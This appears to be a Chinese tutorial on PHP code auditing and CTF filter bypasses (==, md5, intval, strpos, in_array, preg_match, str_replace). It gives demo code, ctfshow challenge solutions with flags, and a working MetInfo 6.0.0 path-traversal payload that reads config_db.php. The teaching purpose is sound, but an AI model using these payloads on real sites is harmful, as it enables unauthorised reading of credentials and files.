#知识点:
1、过滤函数缺陷绕过
2、CTF考点与代码审计
#详细点:
==与===
md5
intval
strpos
in_array
preg_match
str_replace
松散比较:使用两个等号 ==比较,只比较值,不比较类型。
严格比较:用三个等号 ===比较,除了比较值,也比较类型。
等于 == ,当等号两边为相同类型时,直接比较值是否相等,当等号两边类型不同时,先转换为相同的类型,再对转换后的值进行比较。
全等 === ,在进行比较的时候,首先判断等号两边的类型是否相等,如果不同,则直接返回 false,如果相同,再比较值是否相等。
当字符串与数字比较时,首先将字符串转换为数字,不能转换为数字的字符串或 NULL ,被转换为0。
例如, “abc” 是不能转换为数字的字符串,而 “123” 、“123a” 、“0x12” 或 “2e3” 是可以转换为数字的字符串。==为弱相等,也就是说12==“12” --> true,而且12==“12cdf” --> true,只取字符串中开头的整数部分,但是1e3dgf这样的字符串在比较时,取的是符合科学计数法的部分:1e3,也就是1000。
PHP 手册中相关描述如下:
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。
一个字符串的开始部分决定了它转化成数值后的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
在进行比较运算时,如果遇到了 " 0e\d+ " 这种字符串,PHP 就会将这种字符串解析为科学计数法。
header("Content-Type:text/html;charset=utf-8");
$flag='yesxp';
//1、== ===缺陷绕过
$a=1;
if($a==$_GET['x']){
echo $flag;
}
//类型变化也可
//1.0 +1 1a
$a='1';
if($a===$_GET['y']){
echo $flag;
}
//强类型对比都不可
//1.0 +1等
?>
使用“==”时,访问该php文件输入x参数可以如下,皆可输出flag:
http://127.0.0.1/blog/phpexample.php?x=1
http://127.0.0.1/blog/phpexample.php?x=1.0
http://127.0.0.1/blog/phpexample.php?x=1a
http://127.0.0.1/blog/phpexample.php?x=1e0
PHP在处理哈希字符串的时候,把每一个以0e开头并且后面字符均为纯数字的哈希值都解析为0。
有两种方法绕过:
1、md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
2、利用==比较漏洞,如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
md5加密后以0e开头:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
//2、MD5函数缺陷绕过 ==弱对比 ===强类型对比
if($_GET['name'] != $_GET['password']){
if(MD5($_GET['name']) == MD5($_GET['password'])){
echo $flag;
}
echo '?';
}
//== 科学技术0e开头的任意数都相等
//echo MD5('QNKCDZO');
//echo MD5('240610708');
if($_GET['name'] != $_GET['password']){
if(MD5($_GET['name']) === MD5($_GET['password'])){
echo $flag;
}
echo '?';
}
//=== 数组绕过
//name[]=1&password[]=2
//等于
http://127.0.0.1/blog/phpexample.php?name=QNKCDZO&password=s878926199a
//全等
http://127.0.0.1/blog/phpexample.php?name[]=1&password[]=2
http://127.0.0.1/blog/phpexample.php?name[]=QNKCDZO&password[]=s878926199a
//报错提示
Warning: md5() expects parameter 1 to be string, array given in E:\phpstudy\PHPTutorial\WWW\blog\phpexample.php on line 14
Warning: md5() expects parameter 1 to be string, array given in E:\phpstudy\PHPTutorial\WWW\blog\phpexample.php on line 14
//flag输出
yesxp?
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
PHP 4, PHP 5, PHP 7
语法
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
返回值
成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
php intval ()函数直到遇上数字或正负符号开始做转换,再遇到非数字或字符串结束时(\0)结束转换。
//3、intval缺陷绕过
$i='666';
$ii=$_GET['n'];
if(intval($ii==$i)){//默认十进制
echo $flag;
}
// 666.0 +666
$i='666';
$ii=$_GET['n'];
if(intval($ii==$i,0)){//八进制
echo $flag;
}
//0x29a
//默认十进制
http://127.0.0.1/blog/phpexample.php?n=666
http://127.0.0.1/blog/phpexample.php?n=666.0
http://127.0.0.1/blog/phpexample.php?n=+666
//八进制
http://127.0.0.1/blog/phpexample.php?n=0x29a
strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。
注释:strpos() 函数是区分大小写的。
注释:该函数是二进制安全的。
相关函数:
语法
strpos(string,find,start)
参数 | 描述 |
---|---|
string | 必需。规定被搜索的字符串。 |
find | 必需。规定要查找的字符。 |
start | 可选。规定开始搜索的位置。 |
技术细节
返回值: | 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释: 字符串位置从 0 开始,不是从 1 开始。 |
---|---|
PHP 版本: | 4+ |
//4、对于strpos()函数,我们可以利用换行进行绕过(%0a)
$i='666';
$ii=$_GET['h'];
if(strpos($ii,$i,"0")){
echo $flag;
}
//?num=%0a666
md5()如果传入为数组则返回为NULL
strpos()如果传入数组,会返回NULL
strcmp函数无法比较数组,可以使用数组绕过。
定义和用法
in_array() 函数搜索数组中是否存在指定的值。
语法
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
参数 | 描述 |
---|---|
needle | 必需。规定要在数组搜索的值。 |
haystack | 必需。规定要搜索的数组。 |
strict | 可选。如果该参数设置为 TRUE,则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。 |
in_array()函数检测上传文件时候,若未将第三个参数设置为true,导致攻击者构造文件名绕过服务端的检测。在忽略第三个参数即未使用严格比较,那么函数在处理字符串与数字的比较时会尝试将字符串转换为整形/浮点型来做比较,比如’12ax’会转换为12。
//5、in_array第三个参数安全
$whitelist = [1,2,3];
$page=$_GET['i'];
if (in_array($page, $whitelist)) {
echo "yes";
}
//?i=1ex
//正常访问
http://127.0.0.1/blog/phpexample.php?i=1
//绕过访问
http://127.0.0.1/blog/phpexample.php?i=1a
语法
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
搜索 subject 与 pattern 给定的正则表达式的一个匹配。
参数说明:
返回值
返回 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。preg_match_all() 不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。
利用思路
preg_match只能处理字符串,当传入的subject是数组时会返回false
//6、preg_match只能处理字符串,如果不按规定传一个字符串,通常是传一个数组进去,这样就会报错
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
//正常访问
http://127.0.0.1/blog/phpexample.php?num=0
//绕过访问
http://127.0.0.1/blog/phpexample.php?num[]=0
//返回内容
Warning: preg_match() expects parameter 2 to be string, array given in E:\phpstudy\PHPTutorial\WWW\blog\phpexample.php on line 36
yesxp
str_replace() 函数替换字符串中的一些字符(区分大小写)。
该函数必须遵循下列规则:
注释:该函数是区分大小写的。请使用 str_ireplace() 函数执行不区分大小写的搜索。
注释:该函数是二进制安全的。
语法
str_replace(find,replace,string,count)
参数 | 描述 |
---|---|
find | 必需。规定要查找的值。 |
replace | 必需。规定替换 find 中的值的值。 |
string | 必需。规定被搜索的字符串。 |
count | 可选。一个变量,对替换数进行计数。 |
利用思路:str_replace只对字符串过滤一次,无法迭代过滤,构建绕过字符串。
//7、str_replace无法迭代过滤 简单的sql过滤
$sql=$_GET['s'];
$sql=str_replace('select','',$sql);
echo $sql;
//?s=sselectelect
//正常访问
http://127.0.0.1/blog/phpexample.php?s=select
//绕过访问
http://127.0.0.1/blog/phpexample.php?s=sselectelect
利用思路:如果输入的是数字就输出 no no no,但输出flag又需要是数字,利用数组绕过preg_match函数。
flag:ctfshow{2119ac16-b96c-4bcf-b748-08332cfdeef1}
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){//利用数组绕过
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
利用思路:输入4476输出 no no no,但输入八进制的4476可以进入第二个if判断输flag,num=010574。
flag:ctfshow{e9f45e43-99ac-48b1-8bbb-5a2e697a6826}
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){//isset() 函数用于检测变量是否已设置并且非 NULL。
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
利用思路:
?num=%0aphp,第一个if判断如果直接输入php,在第二个if判断就能执行而不会去执行else中的echo $flag;若在第一个if判断中输入%0aphp,第一个if判断多行匹配所以第二行php开头结尾可以通过第一个preg_match函数,第二个if判断preg_match函数因为输入的是%0aphp所以不是php开头所以执行else输出flag。
flag:ctfshow{3f0d356e-e2fc-4559-8033-47c1ad35cce9}
正则表达式模式修饰符,用法含义如下:
1、/g 表示该表达式将用来在输入字符串中查找所有可能的匹配,返回的结果可以是多个。如果不加/g最多只会匹配一个
2、/i 表示匹配的时候不区分大小写,这个跟其它语言的正则用法相同
3、/m 表示多行匹配。
4、/s 与/m相对,单行模式匹配。
5、/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
6、/x 忽略空白模式。
这些修饰符是可以混合使用,例如 /ig、/ie等。
^php 以php开头
php$ 以php结尾
^php$ 以php开头并以php结尾
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){//如果直接输入php,那么就开头结尾都是php,进入执行
if(preg_match('/^php$/i', $a)){//因为是%0aphp所以不是php开头所以执行else
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
利用思路:输入4476的八进制数num=010574
flag:ctfshow{313a2306-a5e5-4d0f-bc6c-34d154328b1c}
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){//过滤了a到z的字母,即16进制
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
利用思路:num=%0A010574,关键判断在于if(!strpos($num, “0”)),首先直接输入010574的话,那么strpos($num, “0”)返回值就是0,非0就是1,则该if条件下的语句会被执行,如果让其返回值不等于0,等于1然后非1就是0不会被执行。
!1 = 0, !0 = 1
!x = 0 (x为任意非零数值)
!0 = 1 (0的否定则通常为1,不会是其他数值)
flag:ctfshow{881af7a0-466c-42d9-847a-a2830a243add}
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){//过滤4476
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){//过滤16进制
die("no no no!");
}
if(!strpos($num, "0")){//过滤8进制,如果不是从0位置开始的话就nonono
die("no no no!");
}
if(intval($num,0)===4476){//又要验证8进制全等4476
echo $flag;
}
}
利用思路:最后需要验证8进制数全等4476,也就是010574,采取以下方式皆可。
num=%20010574
num=%0A010574
num=+010574 (加号字符占位)
num=%09010574 (tab)
num=%2b010574 (%2b是+的url编码)
flag:ctfshow{a3b475d0-8b7b-4a90-8521-06ad786c4430}
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){//过滤4476
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){//外加不能有小数
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
利用思路:u=./flag.php,linux中表示当前目录是 ./ ,既满足了不等于flag.php,又能读到当前目录下的flag.php中的内容。
flag:ctfshow{5cef9420-8abf-4d75-957a-e2b54b3f690a}
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
利用思路:利用MD5函数缺陷绕过,全等用数组形式发送数据过去即可
a[]=1&b[]=2
//返回内容
Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 17
Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 17
ctfshow{d30464bc-0e36-437a-95c9-cae308eeb726}
flag:ctfshow{d30464bc-0e36-437a-95c9-cae308eeb726}
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])//a要不等于b
if (md5($_POST['a']) === md5($_POST['b']))//a的MD5要全等于b的MD5
echo $flag;
else
print 'Wrong.';
}
?>
以本地搭建的MetInfo网站为例:CMS任意文件读取漏洞
class old_thumb extends web{
public function doshow(){
global $_M;
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
old_thumb 类中的doshow方法:
过滤../和./两个特殊字符,要求字符必须以http开头,并且不能检测到./字符
然后读取文件内容
绕过方法:
//调用了该函数的页面文件
http://127.0.0.1/MetInfo6.0.0/include/thumb.php
//利用方式1:
GET /MetInfo6.0.0/include/thumb.php?dir=.....///http/.....//\config\config_db.php
//过滤后的访问请求:
../http/..\config\config_db.php
//利用方式2:
GET /MetInfo6.0.0/include/thumb.php?dir=http\..\..\config\config_db.php
//过滤后的访问请求:
http\..\..\config\config_db.php
红日安全
https://github.com/hongriSec/PHP-Audit-Labs